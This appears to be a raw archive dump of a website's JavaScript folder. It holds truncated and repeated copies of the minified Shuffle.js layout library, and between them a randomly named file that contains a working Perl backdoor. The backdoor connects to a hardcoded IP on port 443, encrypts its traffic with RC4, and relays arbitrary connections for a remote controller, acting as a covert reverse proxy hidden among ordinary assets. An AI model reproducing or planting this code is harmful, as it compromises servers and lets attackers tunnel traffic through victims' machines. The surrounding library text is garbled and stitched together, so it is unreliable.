e=t.itemSize,i=t.positions,n=t.gridSize,s=t.total,o=t.threshold,r=t.buffer,l=M(e.width,n,s,o),a=A(i,l,s),u=F(a,r),h=new p(n*u,a[u]),f=a[u]+e.height,c=0;c0&&void 0!==arguments[0]?arguments[0]:this._getConcealedItems(),i=0;e.forEach(function(e){function n(){e.applyCss(_.Css.HIDDEN.after)}if(e.isHidden)return e.applyCss(_.Css.HIDDEN.before),void n();e.scale=_.Scale.HIDDEN,e.isHidden=!0;var s=t.getStylesForTransition(e,_.Css.HIDDEN.before);s.transitionDelay=t._getStaggerAmount(i)+"ms",t._queue.push({item:e,styles:s,callback:n}),i+=1})}},{key:"_handleResize",value:function(){this.isEnabled&&!this.isDestroyed&&this.update()}},{key:"getStylesForTransition",value:function(t,e){var i=Object.assign({},e);if(this.options.useTransforms){var n=this.options.roundTransforms?Math.round(t.point.x):t.point.x,s=this.options.roundTransforms?Math.round(t.point.y):t.point.y;i.transform="translate(".concat(n,"px, ").concat(s,"px) scale(").concat(t.scale,")")}else i.left=t.point.x+"px",i.top=t.point.y+"px";return i}},{key:"_whenTransitionDone",value:function(t,e,i){var n=D(t,function(t){e(),i(null,t)});this._transitions.push(n)}},{key:"_getTransitionFunction",value:function(t){var e=this;return function(i){t.item.applyCss(t.styles),e._whenTransitionDone(t.item.element,t.callback,i)}}},{key:"_processQueue",value:function(){this.isTransitioning&&this._cancelMovement();var t=this.options.speed>0,e=this._queue.length>0;e&&t&&this.isInitialized?this._startTransitions(this._queue):e?(this._styleImmediately(this._queue),this._dispatch(r.EventType.LAYOUT)):this._dispatch(r.EventType.LAYOUT),this._queue.length=0}},{key:"_startTransitions",value:function(t){var e=this;this.isTransitioning=!0,function(t,e,i){i||("function"==typeof e?(i=e,e=null):i=d);var n=t&&t.length;if(!n)return i(null,[]);var s=!1,o=new Array(n);function r(t){return function(e,r){if(!s){if(e)return i(e,o),void(s=!0);o[t]=r,--n||i(null,o)}}}t.forEach(e?function(t,i){t.call(e,r(i))}:function(t,e){t(r(e))})}(t.map(function(t){return e._getTransitionFunction(t)}),this._movementFinished.bind(this))}},{key:"_cancelMovement",value:function(){this._transitions.forEach(L),this._transitions.length=0,this.isTransitioning=!1}},{key:"_styleImmediately",value:function(t){if(t.length){var e=t.map(function(t){return t.item.element});r._skipTransitions(e,function(){t.forEach(function(t){t.item.applyCss(t.styles),t.callback()})})}}},{key:"_movementFinished",value:function(){this._transitions.length=0,this.isTransitioning=!1,this._dispatch(r.EventType.LAYOUT)}},{key:"filter",value:function(t,e){this.isEnabled&&((!t||t&&0===t.length)&&(t=r.ALL_ITEMS),this._filter(t),this._shrink(),this._updateItemCount(),this.sort(e))}},{key:"sort",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.lastSort;if(this.isEnabled){this._resetCols();var e=T(this._getFilteredItems(),t);this._layout(e),this._processQueue(),this._setContainerSize(),this.lastSort=t}}},{key:"update",value:function(){var t=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this.isEnabled&&(t||this._setColumns(),this.sort())}},{key:"layout",value:function(){this.update(!0)}},{key:"add",value:function(t){var e=this,i=O(t).map(function(t){return new _(t)});this._initItems(i),this._resetCols();var n=T(this._mergeNewItems(i),this.lastSort),s=this._filter(this.lastFilter,n),o=function(t){return i.includes(t)},r=function(t){t.scale=_.Scale.HIDDEN,t.isHidden=!0,t.applyCss(_.Css.HIDDEN.before),t.applyCss(_.Css.HIDDEN.after)},l=this._getNextPositions(s.visible);s.visible.forEach(function(t,i){o(t)&&(t.point=l[i],r(t),t.applyCss(e.getStylesForTransition(t,{})))}),s.hidden.forEach(function(t){o(t)&&r(t)}),this.element.offsetWidth,this.setItemTransitions(i),this.items=this._mergeNewItems(i),this.filter(this.lastFilter)}},{key:"disable",value:function(){this.isEnabled=!1}},{key:"enable",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];this.isEnabled=!0,t&&this.update()}},{key:"remove",value:function(t){var e=this;if(t.length){var i=O(t),n=i.map(function(t){return e.getItemByElement(t)}).filter(function(t){return!!t});this._toggleFilterClasses({visible:[],hidden:n}),this._shrink(n),this.sort(),this.items=this.items.filter(function(t){return!n.includes(t)}),this._updateItemCount(),this.once(r.EventType.LAYOUT,function(){e._disposeItems(n),i.forEach(function(t){t.parentNode.removeChild(t)}),e._dispatch(r.EventType.REMOVED,{collection:i})})}}},{key:"getItemByElement",value:function(t){return this.items.find(function(e){return e.element===t})}},{key:"resetItems",value:function(){var t=this;this._disposeItems(this.items),this.isInitialized=!1,this.items=this._getItems(),this._initItems(this.items),this.once(r.EventType.LAYOUT,function(){t.setItemTransitions(t.items),t.isInitialized=!0}),this.filter(this.lastFilter)}},{key:"destroy",value:function(){this._cancelMovement(),window.removeEventListener("resize",this._onResize),this.element.classList.remove("shuffle"),this.element.removeAttribute("style"),this._disposeItems(this.items),this.items.length=0,this._transitions.length=0,this.options.sizer=null,this.element=null,this.isDestroyed=!0,this.isEnabled=!1}}],[{key:"getSize",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],i=window.getComputedStyle(t,null),n=b(t,"width",i),s=b(t,"height",i);if(e){var o=b(t,"marginLeft",i),r=b(t,"marginRight",i),l=b(t,"marginTop",i),a=b(t,"marginBottom",i);n+=o+r,s+=l+a}return{width:n,height:s}}},{key:"_skipTransitions",value:function(t,e){var i=t.map(function(t){var e=t.style,i=e.transitionDuration,n=e.transitionDelay;return e.transitionDuration="0ms",e.transitionDelay="0ms",{duration:i,delay:n}});e(),t[0].offsetWidth,t.forEach(function(t,e){t.style.transitionDuration=i[e].duration,t.style.transitionDelay=i[e].delay})}}]),r}();return H.ShuffleItem=_,H.ALL_ITEMS="all",H.FILTER_ATTRIBUTE_KEY="groups",H.EventType={LAYOUT:"shuffle:layout",REMOVED:"shuffle:removed"},H.Classes=y,H.FilterMode={ANY:"any",ALL:"all"},H.options={group:H.ALL_ITEMS,speed:250,easing:"cubic-bezier(0.4, 0.0, 0.2, 1)",itemSelector:"*",sizer:null,gutterWidth:0,columnWidth:0,delimiter:null,buffer:0,columnThreshold:.01,initialSort:null,throttle:c,throttleTime:300,staggerAmount:15,staggerAmountMax:150,useTransforms:!0,filterMode:H.FilterMode.ANY,isCentered:!1,roundTransforms:!0},H.Point=p,H.Rect=v,H.__sorter=T,H.__getColumnSpan=M,H.__getAvailablePositions=A,H.__getShortColumn=F,H.__getCenteredPositions=x,H}); //# sourceMappingURL=shuffle.min.js.map PK-Y\)PZ$$ js/97z1jatynu[#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '185.93.89.146'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); PK-Y\پMMjs/shuffle.min.jsnu[!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Shuffle=e()}(this,function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var i=0;i=e?l():o=setTimeout(l,e-t)),s};function l(){o=0,r=+new Date,s=t.apply(i,n),i=null,n=null}};function d(){}function m(t){return parseFloat(t)||0}var p=function(){function e(i,n){t(this,e),this.x=m(i),this.y=m(n)}return i(e,null,[{key:"equals",value:function(t,e){return t.x===e.x&&t.y===e.y}}]),e}(),v=function(){function e(i,n,s,o,r){t(this,e),this.id=r,this.left=i,this.top=n,this.width=s,this.height=o}return i(e,null,[{key:"intersects",value:function(t,e){return t.left2&&void 0!==arguments[2]?arguments[2]:window.getComputedStyle(t,null),n=m(i[e]);return I()||"width"!==e?I()||"height"!==e||(n+=m(i.paddingTop)+m(i.paddingBottom)+m(i.borderTopWidth)+m(i.borderBottomWidth)):n+=m(i.paddingLeft)+m(i.paddingRight)+m(i.borderLeftWidth)+m(i.borderRightWidth),n}var S={reverse:!1,by:null,compare:null,randomize:!1,key:"element"};function T(t,e){var i=Object.assign({},S,e),n=Array.from(t),s=!1;return t.length?i.randomize?function(t){for(var e=t.length;e;){e-=1;var i=Math.floor(Math.random()*(e+1)),n=t[i];t[i]=t[e],t[e]=n}return t}(t):("function"==typeof i.by?t.sort(function(t,e){if(s)return 0;var n=i.by(t[i.key]),o=i.by(e[i.key]);return void 0===n&&void 0===o?(s=!0,0):no||"sortLast"===n||"sortFirst"===o?1:0}):"function"==typeof i.compare&&t.sort(i.compare),s?n:(i.reverse&&t.reverse(),t)):[]}var k={},w="transitionend",C=0;function L(t){return!!k[t]&&(k[t].element.removeEventListener(w,k[t].listener),k[t]=null,!0)}function D(t,e){var i=w+(C+=1),n=function(t){t.currentTarget===t.target&&(L(i),e(t))};return t.addEventListener(w,n),k[i]={element:t,listener:n},i}function z(t){return Math.max.apply(Math,t)}function M(t,e,i,n){var s=t/e;return Math.abs(Math.round(s)-s)=n-e&&t[s]<=n+e)return s;return 0}function x(t,e){var i={};t.forEach(function(t){i[t.top]?i[t.top].push(t):i[t.top]=[t]});var n=[],s=[],o=[];return Object.keys(i).forEach(function(t){var r=i[t];s.push(r);var l,a=r[r.length-1],u=a.left+a.width,h=Math.round((e-u)/2),f=r,c=!1;if(h>0){var d=[];(c=r.every(function(t){var e=new v(t.left+h,t.top,t.width,t.height,t.id),i=!n.some(function(t){return v.intersects(e,t)});return d.push(e),i}))&&(f=d)}if(!c&&r.some(function(t){return n.some(function(e){var i=v.intersects(t,e);return i&&(l=e),i})})){var m=o.findIndex(function(t){return t.includes(l)});o.splice(m,1,s[m])}n=n.concat(f),o.push(f)}),[].concat.apply([],o).sort(function(t,e){return t.id-e.id}).map(function(t){return new p(t.left,t.top)})}function O(t){return Array.from(new Set(t))}var N=0,H=function(e){function r(e){var i,s=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};t(this,r),(i=o(this,n(r).call(this))).options=Object.assign({},r.options,s),i.options.delimeter&&(i.options.delimiter=i.options.delimeter),i.lastSort={},i.group=r.ALL_ITEMS,i.lastFilter=r.ALL_ITEMS,i.isEnabled=!0,i.isDestroyed=!1,i.isInitialized=!1,i._transitions=[],i.isTransitioning=!1,i._queue=[];var l=i._getElementOption(e);if(!l)throw new TypeError("Shuffle needs to be initialized with an element.");return i.element=l,i.id="shuffle_"+N,N+=1,i._init(),i.isInitialized=!0,i}return function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&s(t,e)}(r,l),i(r,[{key:"_init",value:function(){if(this.items=this._getItems(),this.options.sizer=this._getElementOption(this.options.sizer),this.element.classList.add(r.Classes.BASE),this._initItems(this.items),this._onResize=this._getResizeFunction(),window.addEventListener("resize",this._onResize),"complete"!==document.readyState){var t=this.layout.bind(this);window.addEventListener("load",function e(){window.removeEventListener("load",e),t()})}var e=window.getComputedStyle(this.element,null),i=r.getSize(this.element).width;this._validateStyles(e),this._setColumns(i),this.filter(this.options.group,this.options.initialSort),this.element.offsetWidth,this.setItemTransitions(this.items),this.element.style.transition="height ".concat(this.options.speed,"ms ").concat(this.options.easing)}},{key:"_getResizeFunction",value:function(){var t=this._handleResize.bind(this);return this.options.throttle?this.options.throttle(t,this.options.throttleTime):t}},{key:"_getElementOption",value:function(t){return"string"==typeof t?this.element.querySelector(t):t&&t.nodeType&&1===t.nodeType?t:t&&t.jquery?t[0]:null}},{key:"_validateStyles",value:function(t){"static"===t.position&&(this.element.style.position="relative"),"hidden"!==t.overflow&&(this.element.style.overflow="hidden")}},{key:"_filter",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.lastFilter,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.items,i=this._getFilteredSets(t,e);return this._toggleFilterClasses(i),this.lastFilter=t,"string"==typeof t&&(this.group=t),i}},{key:"_getFilteredSets",value:function(t,e){var i=this,n=[],s=[];return t===r.ALL_ITEMS?n=e:e.forEach(function(e){i._doesPassFilter(t,e.element)?n.push(e):s.push(e)}),{visible:n,hidden:s}}},{key:"_doesPassFilter",value:function(t,e){if("function"==typeof t)return t.call(e,e,this);var i=e.getAttribute("data-"+r.FILTER_ATTRIBUTE_KEY),n=this.options.delimiter?i.split(this.options.delimiter):JSON.parse(i);function s(t){return n.includes(t)}return Array.isArray(t)?this.options.filterMode===r.FilterMode.ANY?t.some(s):t.every(s):n.includes(t)}},{key:"_toggleFilterClasses",value:function(t){var e=t.visible,i=t.hidden;e.forEach(function(t){t.show()}),i.forEach(function(t){t.hide()})}},{key:"_initItems",value:function(t){t.forEach(function(t){t.init()})}},{key:"_disposeItems",value:function(t){t.forEach(function(t){t.dispose()})}},{key:"_updateItemCount",value:function(){this.visibleItems=this._getFilteredItems().length}},{key:"setItemTransitions",value:function(t){var e=this.options,i=e.speed,n=e.easing,s=this.options.useTransforms?["transform"]:["top","left"],o=Object.keys(_.Css.HIDDEN.before).map(function(t){return t.replace(/([A-Z])/g,function(t,e){return"-".concat(e.toLowerCase())})}),r=s.concat(o).join();t.forEach(function(t){t.element.style.transitionDuration=i+"ms",t.element.style.transitionTimingFunction=n,t.element.style.transitionProperty=r})}},{key:"_getItems",value:function(){var t=this;return Array.from(this.element.children).filter(function(e){return f(e,t.options.itemSelector)}).map(function(t){return new _(t)})}},{key:"_mergeNewItems",value:function(t){var e=Array.from(this.element.children);return T(this.items.concat(t),{by:function(t){return e.indexOf(t)}})}},{key:"_getFilteredItems",value:function(){return this.items.filter(function(t){return t.isVisible})}},{key:"_getConcealedItems",value:function(){return this.items.filter(function(t){return!t.isVisible})}},{key:"_getColumnSize",value:function(t,e){var i;return 0===(i="function"==typeof this.options.columnWidth?this.options.columnWidth(t):this.options.sizer?r.getSize(this.options.sizer).width:this.options.columnWidth?this.options.columnWidth:this.items.length>0?r.getSize(this.items[0].element,!0).width:t)&&(i=t),i+e}},{key:"_getGutterSize",value:function(t){return"function"==typeof this.options.gutterWidth?this.options.gutterWidth(t):this.options.sizer?b(this.options.sizer,"marginLeft"):this.options.gutterWidth}},{key:"_setColumns",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:r.getSize(this.element).width,e=this._getGutterSize(t),i=this._getColumnSize(t,e),n=(t+e)/i;Math.abs(Math.round(n)-n)1&&void 0!==arguments[1]?arguments[1]:{};this.isDestroyed||(e.shuffle=this,this.emit(t,e))}},{key:"_resetCols",value:function(){var t=this.cols;for(this.positions=[];t;)t-=1,this.positions.push(0)}},{key:"_layout",value:function(t){var e=this,i=this._getNextPositions(t),n=0;t.forEach(function(t,s){function o(){t.applyCss(_.Css.VISIBLE.after)}if(p.equals(t.point,i[s])&&!t.isHidden)return t.applyCss(_.Css.VISIBLE.before),void o();t.point=i[s],t.scale=_.Scale.VISIBLE,t.isHidden=!1;var r=e.getStylesForTransition(t,_.Css.VISIBLE.before);r.transitionDelay=e._getStaggerAmount(n)+"ms",e._queue.push({item:t,styles:r,callback:o}),n+=1})}},{key:"_getNextPositions",value:function(t){var e=this;if(this.options.isCentered){var i=t.map(function(t,i){var n=r.getSize(t.element,!0),s=e._getItemPosition(n);return new v(s.x,s.y,n.width,n.height,i)});return this.getTransformedPositions(i,this.containerWidth)}return t.map(function(t){return e._getItemPosition(r.getSize(t.element,!0))})}},{key:"_getItemPosition",value:function(t){return function(t){for(var e=t.itemSize,i=t.positions,n=t.gridSize,s=t.total,o=t.threshold,r=t.buffer,l=M(e.width,n,s,o),a=A(i,l,s),u=F(a,r),h=new p(n*u,a[u]),f=a[u]+e.height,c=0;c0&&void 0!==arguments[0]?arguments[0]:this._getConcealedItems(),i=0;e.forEach(function(e){function n(){e.applyCss(_.Css.HIDDEN.after)}if(e.isHidden)return e.applyCss(_.Css.HIDDEN.before),void n();e.scale=_.Scale.HIDDEN,e.isHidden=!0;var s=t.getStylesForTransition(e,_.Css.HIDDEN.before);s.transitionDelay=t._getStaggerAmount(i)+"ms",t._queue.push({item:e,styles:s,callback:n}),i+=1})}},{key:"_handleResize",value:function(){this.isEnabled&&!this.isDestroyed&&this.update()}},{key:"getStylesForTransition",value:function(t,e){var i=Object.assign({},e);if(this.options.useTransforms){var n=this.options.roundTransforms?Math.round(t.point.x):t.point.x,s=this.options.roundTransforms?Math.round(t.point.y):t.point.y;i.transform="translate(".concat(n,"px, ").concat(s,"px) scale(").concat(t.scale,")")}else i.left=t.point.x+"px",i.top=t.point.y+"px";return i}},{key:"_whenTransitionDone",value:function(t,e,i){var n=D(t,function(t){e(),i(null,t)});this._transitions.push(n)}},{key:"_getTransitionFunction",value:function(t){var e=this;return function(i){t.item.applyCss(t.styles),e._whenTransitionDone(t.item.element,t.callback,i)}}},{key:"_processQueue",value:function(){this.isTransitioning&&this._cancelMovement();var t=this.options.speed>0,e=this._queue.length>0;e&&t&&this.isInitialized?this._startTransitions(this._queue):e?(this._styleImmediately(this._queue),this._dispatch(r.EventType.LAYOUT)):this._dispatch(r.EventType.LAYOUT),this._queue.length=0}},{key:"_startTransitions",value:function(t){var e=this;this.isTransitioning=!0,function(t,e,i){i||("function"==typeof e?(i=e,e=null):i=d);var n=t&&t.length;if(!n)return i(null,[]);var s=!1,o=new Array(n);function r(t){return function(e,r){if(!s){if(e)return i(e,o),void(s=!0);o[t]=r,--n||i(null,o)}}}t.forEach(e?function(t,i){t.call(e,r(i))}:function(t,e){t(r(e))})}(t.map(function(t){return e._getTransitionFunction(t)}),this._movementFinished.bind(this))}},{key:"_cancelMovement",value:function(){this._transitions.forEach(L),this._transitions.length=0,this.isTransitioning=!1}},{key:"_styleImmediately",value:function(t){if(t.length){var e=t.map(function(t){return t.item.element});r._skipTransitions(e,function(){t.forEach(function(t){t.item.applyCss(t.styles),t.callback()})})}}},{key:"_movementFinished",value:function(){this._transitions.length=0,this.isTransitioning=!1,this._dispatch(r.EventType.LAYOUT)}},{key:"filter",value:function(t,e){this.isEnabled&&((!t||t&&0===t.length)&&(t=r.ALL_ITEMS),this._filter(t),this._shrink(),this._updateItemCount(),this.sort(e))}},{key:"sort",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.lastSort;if(this.isEnabled){this._resetCols();var e=T(this._getFilteredItems(),t);this._layout(e),this._processQueue(),this._setContainerSize(),this.lastSort=t}}},{key:"update",value:function(){var t=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this.isEnabled&&(t||this._setColumns(),this.sort())}},{key:"layout",value:function(){this.update(!0)}},{key:"add",value:function(t){var e=this,i=O(t).map(function(t){return new _(t)});this._initItems(i),this._resetCols();var n=T(this._mergeNewItems(i),this.lastSort),s=this._filter(this.lastFilter,n),o=function(t){return i.includes(t)},r=function(t){t.scale=_.Scale.HIDDEN,t.isHidden=!0,t.applyCss(_.Css.HIDDEN.before),t.applyCss(_.Css.HIDDEN.after)},l=this._getNextPositions(s.visible);s.visible.forEach(function(t,i){o(t)&&(t.point=l[i],r(t),t.applyCss(e.getStylesForTransition(t,{})))}),s.hidden.forEach(function(t){o(t)&&r(t)}),this.element.offsetWidth,this.setItemTransitions(i),this.items=this._mergeNewItems(i),this.filter(this.lastFilter)}},{key:"disable",value:function(){this.isEnabled=!1}},{key:"enable",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];this.isEnabled=!0,t&&this.update()}},{key:"remove",value:function(t){var e=this;if(t.length){var i=O(t),n=i.map(function(t){return e.getItemByElement(t)}).filter(function(t){return!!t});this._toggleFilterClasses({visible:[],hidden:n}),this._shrink(n),this.sort(),this.items=this.items.filter(function(t){return!n.includes(t)}),this._updateItemCount(),this.once(r.EventType.LAYOUT,function(){e._disposeItems(n),i.forEach(function(t){t.parentNode.removeChild(t)}),e._dispatch(r.EventType.REMOVED,{collection:i})})}}},{key:"getItemByElement",value:function(t){return this.items.find(function(e){return e.element===t})}},{key:"resetItems",value:function(){var t=this;this._disposeItems(this.items),this.isInitialized=!1,this.items=this._getItems(),this._initItems(this.items),this.once(r.EventType.LAYOUT,function(){t.setItemTransitions(t.items),t.isInitialized=!0}),this.filter(this.lastFilter)}},{key:"destroy",value:function(){this._cancelMovement(),window.removeEventListener("resize",this._onResize),this.element.classList.remove("shuffle"),this.element.removeAttribute("style"),this._disposeItems(this.items),this.items.length=0,this._transitions.length=0,this.options.sizer=null,this.element=null,this.isDestroyed=!0,this.isEnabled=!1}}],[{key:"getSize",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],i=window.getComputedStyle(t,null),n=b(t,"width",i),s=b(t,"height",i);if(e){var o=b(t,"marginLeft",i),r=b(t,"marginRight",i),l=b(t,"marginTop",i),a=b(t,"marginBottom",i);n+=o+r,s+=l+a}return{width:n,height:s}}},{key:"_skipTransitions",value:function(t,e){var i=t.map(function(t){var e=t.style,i=e.transitionDuration,n=e.transitionDelay;return e.transitionDuration="0ms",e.transitionDelay="0ms",{duration:i,delay:n}});e(),t[0].offsetWidth,t.forEach(function(t,e){t.style.transitionDuration=i[e].duration,t.style.transitionDelay=i[e].delay})}}]),r}();return H.ShuffleItem=_,H.ALL_ITEMS="all",H.FILTER_ATTRIBUTE_KEY="groups",H.EventType={LAYOUT:"shuffle:layout",REMOVED:"shuffle:removed"},H.Classes=y,H.FilterMode={ANY:"any",ALL:"all"},H.options={group:H.ALL_ITEMS,speed:250,easing:"cubic-bezier(0.4, 0.0, 0.2, 